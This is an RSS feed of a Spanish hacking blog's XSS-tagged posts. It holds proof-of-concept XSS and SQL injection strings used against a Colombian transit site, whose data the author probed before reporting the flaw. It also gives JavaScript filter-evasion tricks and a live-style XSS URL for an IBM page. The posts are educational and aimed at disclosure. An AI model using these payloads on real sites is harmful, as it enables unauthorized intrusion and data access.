<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Linux, Java y programación &#187; xss</title>
	<atom:link href="http://casidiablo.net/tag/xss/feed/" rel="self" type="application/rss+xml" />
	<link>http://casidiablo.net</link>
	<description>Blog de Java, Programación y Linux</description>
	<lastBuildDate>Fri, 11 Nov 2011 05:41:21 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Ataques web XSS, CSRF y aplicaciones AJAX + JSON [video+paper]</title>
		<link>http://casidiablo.net/web-attacks-ajax/</link>
		<comments>http://casidiablo.net/web-attacks-ajax/#comments</comments>
		<pubDate>Fri, 20 Mar 2009 22:43:20 +0000</pubDate>
		<dc:creator>Cristian</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[AJAX]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[json]]></category>
		<category><![CDATA[paper]]></category>
		<category><![CDATA[politécnico]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://casidiablo.net/?p=2940</guid>
		<description><![CDATA[Descargar Paper]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fcasidiablo.net%252Fweb-attacks-ajax%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22Ataques%20web%20XSS%2C%20CSRF%20y%20aplicaciones%20AJAX%20%2B%20JSON%20%5Bvideo%2Bpaper%5D%22%20%7D);"></div>
<p><embed src="http://blip.tv/play/gs1Q8+Zbk6Js" type="application/x-shockwave-flash" width="640" height="430" allowscriptaccess="always" allowfullscreen="true"></embed></p>
<p><a href="http://casidiablo.net/descargar/Paper+AJAX+XSS+JSON" class="tooltip" title="Descargar PDF comprimido">Descargar Paper</a></p>

]]></content:encoded>
			<wfw:commentRss>http://casidiablo.net/web-attacks-ajax/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>La mediocridad de los ingenieros (¿reir o llorar?)</title>
		<link>http://casidiablo.net/ingenieros/</link>
		<comments>http://casidiablo.net/ingenieros/#comments</comments>
		<pubDate>Sat, 02 Aug 2008 07:37:15 +0000</pubDate>
		<dc:creator>Cristian</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://casidiablo.net/?p=1211</guid>
		<description><![CDATA[Nota: este artículo te podría interesar si deseas saber cómo solucionar problemas de seguridad de manera &#8220;profesional&#8220;. De pequeño siempre quise ser Ingeniero de Sistemas&#8230; ahora, con 19 años ya llevo 6 semestres (de 10 aquí en Colombia), aún cuando no he estudiado por 2 años falta de dinero, ya no se que quiero hacer. [...]]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fcasidiablo.net%252Fingenieros%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22La%20mediocridad%20de%20los%20ingenieros%20%28%C2%BFreir%20o%20llorar%3F%29%22%20%7D);"></div>
<p style="text-align: right;"><span style="color: #808080;">Nota: este artículo te podría interesar si deseas saber cómo solucionar problemas de seguridad de manera &#8220;<em><abbr title="Lo de profesional es sarcasmo">profesional</abbr></em>&#8220;.</span></p>
<p>De pequeño siempre quise ser Ingeniero de Sistemas&#8230; ahora, con 19 años ya llevo 6 semestres (de 10 aquí en Colombia), aún cuando no he estudiado por 2 años falta de dinero, ya no se que quiero hacer.</p>
<p>Con algo que llevo de experiencia mezclándome con &#8220;ingenieros&#8221; me da algo de tristeza ver cómo de cada 20 hay 1 que vale la pena. Los demás <strong>son personas que no tienen puta idea de lo que hacen</strong>, estudiaron esto no por vocación sino porque <strong>piensan que se van a forrar en dinero</strong>, y además se creen Dioses que todo lo saben (aún cuando dedican la mayor parte de su tiempo <strong>laboral</strong> chateando con el MSN, volviéndose maestros en el uso del <strong>Facebook</strong>, o perdiendo el tiempo de cualquier otra manera).</p>
<p>La verdad es que hace tiempo quería escribir algo sobre esto, pero no lo hacía simplemente porque muy seguramente <strong>los lectores asiduos de este humilde blog no tienen nada de mediocres</strong>, y los ingenieros (a quienes iría dirigida la entrada) ni siquiera saben lo que es un puto lector de feeds, o me leerían usando IE 6.0 (no saben que existen &#8220;otros&#8221;) que a veces no carga bien esta página.</p>
<h3>La historia&#8230; (aprende a solucionar problemas de seguridad)</h3>
<p>Hace una semana entré a la página web del sistema de transportes colombiano <a href="http://www.transmilenio.gov.co/nuevapagina/">Transmilenio</a>, y descubrí que el sistema de búsquedas era vulnerable a ataques <a href="http://es.wikipedia.org/wiki/Cross_Site_Scripting">XSS</a> y al famoso <a href="http://es.wikipedia.org/wiki/Inyecci%C3%B3n_SQL">SQL Injection</a>, por lo cual procedí (después de jugar un par de horas y descubrir ciertos datos interesantes) a avisar del fallo.</p>
<p>La cosa iba así para un XSS:</p>
<pre class="brush: xml; title: ; notranslate">hola%' or title like '%hola&gt; &lt;script&gt;alert(/POWNED/)&lt;/script&gt;&lt;a</pre>
<p>Y así para un SQL Injection:</p>
<pre class="brush: sql; title: ; notranslate">hola%' UNION select * from NOMBRE_TABLA where 1=1 or 1 like '%1</pre>
<p>Lo cierto es que esto es algo que <strong>se puede solucionar fácilmente</strong>, haciendo una limpieza a las variables antes de realizar una búsqueda en la base de datos, pero nuestros <em>super ingenieros</em> (que ni siquiera dieron las gracias) <em><strong>encontraron una mejor solución (la más óptima): deshabilitar las búsquedas</strong></em>.</p>
<p>Y aquí es donde no sé si reir o llorar. Poca vergüenza tiene esta gente, y lo peor es que los hay por montones. Muy triste&#8230;</p>
<p>También te podría interesar este artículo: <a href="http://jesfre.blogspot.com/2008/07/devolver-el-orgullo-al-nombre-de.html">Devolver el orgullo al nombre de &#8220;programador&#8221; para solucionar el déficit de programadores</a> publicado en <a href="http://jesfre.blogspot.com/">Punto de partida</a></p>
<h3>Bonus&#8230;</h3>
<ul>
<li><a href="http://winnetmag.com/Article/ArticleID/42216/42216.html">Protegiéndose frente a la inyección SQL</a></li>
<li><a href="http://www.dotnetpuebla.com/portal/Publicaciones/Articulos/848.aspx">Protegerse de un ataque SQL Injection</a></li>
<li><a href="http://msdn.microsoft.com/msdnmag/issues/04/09/SQLInjection/">Detén los ataques de Inyección SQL antes de que ellos te detengan a ti</a></li>
</ul>
<p>P.d. esta es una entrada programada escrita el Viernes 1 de Agosto de 2008. Solo para dejar terminar la semana y ver si lo solucionan.</p>

]]></content:encoded>
			<wfw:commentRss>http://casidiablo.net/ingenieros/feed/</wfw:commentRss>
		<slash:comments>31</slash:comments>
		</item>
		<item>
		<title>JavaScript para hackers</title>
		<link>http://casidiablo.net/javascript-para-hackers/</link>
		<comments>http://casidiablo.net/javascript-para-hackers/#comments</comments>
		<pubDate>Mon, 01 Oct 2007 16:35:38 +0000</pubDate>
		<dc:creator>Cristian</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[programación]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[web 2.0]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.casidiablo.net/wordpress/index.php/2007/10/01/javascript-para-hackers/</guid>
		<description><![CDATA[He leído una entrada de Gareth Heyes (la escribió el dia de mis cumpleaños XD), en el blog The Spanner, en donde se trata un tema que me gusta bastante: Hacking con JavaScript. Para los que no sepan qué es JavaSript pueden hechar una ojeada en la Wikipedia, para una referencia rápida. JavaScript es un [...]]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fcasidiablo.net%252Fjavascript-para-hackers%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22JavaScript%20para%20hackers%22%20%7D);"></div>
<p>He leído una entrada de Gareth Heyes (la escribió el dia de <a href="http://www.casidiablo.net/wordpress/index.php/2007/09/19/hoy-cumplo-anos/" title="Ver entrada" target="_blank">mis cumpleaños</a> XD), en el blog <a href="http://www.thespanner.co.uk/2007/09/19/javascript-for-hackers/" title="Read this entry!" target="_blank">The Spanner</a>, en donde se trata un tema que me gusta bastante: Hacking con JavaScript.</p>
<p>Para los que no sepan <a href="http://es.wikipedia.org/wiki/JavaScript" title="Leer en la Wikipedia" target="_blank">qué es JavaSript</a> pueden hechar una ojeada en la Wikipedia, para una referencia rápida. JavaScript es un lenguaje ampliamente usado en la Web, y más aún cuando las aplicaciones <a href="http://es.wikipedia.org/wiki/Web_2.0" title="Leer en la Wikipedia" target="_blank">Web 2.0</a> usan <a href="http://es.wikipedia.org/wiki/AJAX" title="Leer en la Wikipedia" target="_blank">AJAX</a> para casi todo, a tal punto que cada vez de <a href="http://www.casidiablo.net/wordpress/index.php/2007/09/20/tutorial-de-introduccion-al-google-web-toolkit/" title="Ver entrada" target="_blank">desarrollan más FrameWorks</a> especiales para dicha tarea.</p>
<p>Por tal motivo me gustaría compartir con ustedes algunas cosas interesantes, que tomo del post de Gareth Heyes, en cuanto a algunas características de JavaScript que nos ayudarán cuando estemos buscando <a href="http://es.wikipedia.org/wiki/XSS" title="Leer en la Wikipedia" target="_blank">bugs XSS</a>, por ejemplo. Comencemos!</p>
<p><strong>¿Qué puedes hacer si no es posible usar eval()?</strong></p>
<p>En Javascript puedes guardar referencias a funciones nativas en vairables, de modo que puedes hacer lo siguiente:</p>
<p class="codigomain">x=eval;<br />
x();// llamar eval</p>
<p>En navegadores basados en el motor <a href="http://es.wikipedia.org/wiki/Gecko_(motor_de_navegaci%C3%B3n)" title="Leer en la Wikipedia" target="_blank">Gecko</a> también te permiten llamar la función eval así:</p>
<p class="codigomain">0['eval'](&#8216;alert(/XSS/)&#8217;)</p>
<p>Por lo que puedes hacer cosas cómo (solo usa tu imaginación):</p>
<p class="codigomain">0['ev'+'al'](&#8216;alert(/XSS/)&#8217;);</p>
<p><strong>Trabajando con caracteres/palabras&#8230;</strong></p>
<p>Javascript soporta varios tipos de codificación que te permiten representar diferentes caracteres. De esta forma, el siguiente ejemplo crea la conbinación <em>función eval</em> y <em>alert</em>:</p>
<p class="codigomain">alert(&#8216;\141\154\145\162\164\050\061\051&#8242;)</p>
<p>Ya que <strong><em>\141</em></strong> se traduce en ‘a’ etc, cuando tienes un string en javaScript usando “” or ” puedes usar caractéres <a href="http://es.wikipedia.org/wiki/UNICODE" title="Leer en la Wikipedia" target="_blank">UNICODE</a>, entonces, cuando JavaScript encuentra el caracter ‘\’ este será convertido a una letra, dependiendo de su código.</p>
<p>Codificación Hexadecimal también puede ser usada así:</p>
<p class="codigomain">alertString = &#8216;a\x6cert(1)&#8217;;</p>
<p>Puedes también usar eval para que convierta el caracter por tí, por ejemplo en siguiente código produce la letra ‘a’:</p>
<p class="codigomain">harNumber = 141;<br />
stringQuote = &#8220;&#8216;&#8221;;<br />
backslash = &#8220;\\&#8221;;<br />
alert(eval(stringQuote + backslash + charNumber + stringQuote));</p>
<p><strong>¿Cómo hacer llamadas a funciones anónimas?</strong></p>
<p>JavaScript te permite invocar funciones cuando usas ‘()’, pero también puedes lo puede usar para realizar invocaciones a funciones anónimas, así:</p>
<p class="codigomain">new Function(&#8216;alert(1)&#8217;)();</p>
<p>El código de arriba crea una nueva función anónima y pasa el string ‘alert(1)’ que se incrustó en la función recién creada, lo que luego ejecuta la función. Puedes también combinar las técnicas mencionadas, usando por ejemplo codificación de caracteres en el parámetro que recibe la nueva función, de hecho, no es necesario especificar la palabra reservada ‘new’:</p>
<p class="codigomain">Function(&#8216;a\x6cert(1)&#8217;)();</p>
<p><strong>¿Qué puedes usar como nombre de variables?</strong></p>
<p>Javascript no es muy estricto en cuanto a nombres de variables, por lo que se pueden declarar variables con el caracter ‘_’, incluso ‘$’ puede ser usado como nombre de variable.</p>
<p><strong>¿Cómo puedes crear un String?</strong></p>
<p>Los Strings son definidos usando String(), ” y “” etc. Lo que tal vez no sepas, es que las expresiones regulares pueden también ser usadas para crear un string, como en el siguiente ejemplo:</p>
<p class="codigomain">newString = /XSS/.source;<br />
newString = /XSS/ + &#8221;;<br />
newString = newString[1] + newString[2] + newString[3];</p>
<p><strong>Necesito usar un caracter pero no está permitido, ¿cómo le hago?</strong></p>
<p><em>Piense alrededor del problema</em>, en vez de intentar acceder al caractér directamente, obtenga la información de otra fuente. Supongamos que quieres el caractér <em>dos puntos</em> (:), es un ejemplo, y haz intentado de codificando caracteres pero no lo haz logrado&#8230; puedes entonces usar la propiedad URL para obtener ésta información. Ejemplo:</p>
<p class="codigomain">alert(document.URL.substr(4, 1));</p>
<p><strong>¿Hay alguna forma de ejecutar JavaScript en CSS?</strong></p>
<p>Firefox tiene unas pequeñas características que permiten una ejecución <em>inusual</em> de Javascript, entre ellas está la extensión CSS -moz-binding que te permite enlazar documentos XML usando CSS. Por ejemplo:</p>
<p class="codigomain"> &lt;p style=-moz-binding:<br />
url(http://www.businessinfo.co.uk/labs/xbl/xbl.xml#xss);&gt;<br />
Test&lt;/p&gt;</p>
<p><strong>¿Cómo puedo usar XML con Javascript?</strong></p>
<p>Firefox ahora soporta XML en el código Javascript, puedes por ejemplo incluir etiquetas de esta manera :</p>
<p class="codigomain"> testXML = &lt;s&gt;Test XML string&lt;/s&gt;;<br />
alert(textXML.text());</p>
<p><strong>Enlaces de interés:</strong></p>
<ul>
<li><a href="http://www.thespanner.co.uk/2007/09/19/javascript-for-hackers/" title="Read this entry!" target="_blank">JavaScript for Hackers</a></li>
<li><a href="http://www.casidiablo.net/wordpress/index.php/2006/12/05/jasildbg-javascript-inline-debugger/" title="Ver entrada" target="_blank">JavaScript in line debugger (JaSiLDBG)</a></li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://casidiablo.net/javascript-para-hackers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Un XSS irónico</title>
		<link>http://casidiablo.net/un-xss-ironico/</link>
		<comments>http://casidiablo.net/un-xss-ironico/#comments</comments>
		<pubDate>Thu, 28 Jun 2007 20:46:08 +0000</pubDate>
		<dc:creator>Cristian</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.casidiablo.net/wordpress/index.php/2007/06/28/un-xss-ironico/</guid>
		<description><![CDATA[Me han pasado un link [de Arian Evans desde Whitehat Security], en el que podríamos ver un ejemplo claro de &#8220;ironía informática&#8221;. Este enlace me ha hecho mucha gracia, y por eso lo comparto con ustedes. El enlace apunta a una protección del filtro QuickPlace XSS en el sitio Web de IBM. La ironía aquí [...]]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fcasidiablo.net%252Fun-xss-ironico%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22Un%20XSS%20ir%C3%B3nico%22%20%7D);"></div>
<p>Me han pasado un link [de Arian Evans desde <a href="http://www.whitehatsec.com/" title="Whitehat Security" target="_blank">Whitehat Security</a>], en el que podríamos ver un ejemplo claro de &#8220;ironía informática&#8221;. Este enlace me ha hecho mucha gracia, y por eso lo comparto con ustedes. El enlace apunta a una protección del filtro QuickPlace XSS en el sitio Web de IBM. La ironía aquí es que dicho enlace en donde se describe las virtudes de l flitro XSS es vulnerable para XSS. Vaya ironía.</p>
<p>En este caso el XSS fue inyectado dentro de el parámetro xml:lang=… y pues nada&#8230; nada más que decir. Les dejo el link:</p>
<p><a href="http://www-1.ibm.com/support/docview.wss?uid=swg21233077&amp;loc=%22%3E%3Cbody%20onload=alert('XSS-AQUI')%20x=%22en_US" title="Que ironía" target="_blank">http://www-1.ibm.com/support/docview.wss?uid=swg21233077&amp;loc=%22%3E%3Cbody%20onload=alert(&#8216;XSS-AQUI&#8217;)%20x=%22en_US </a></p>

]]></content:encoded>
			<wfw:commentRss>http://casidiablo.net/un-xss-ironico/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

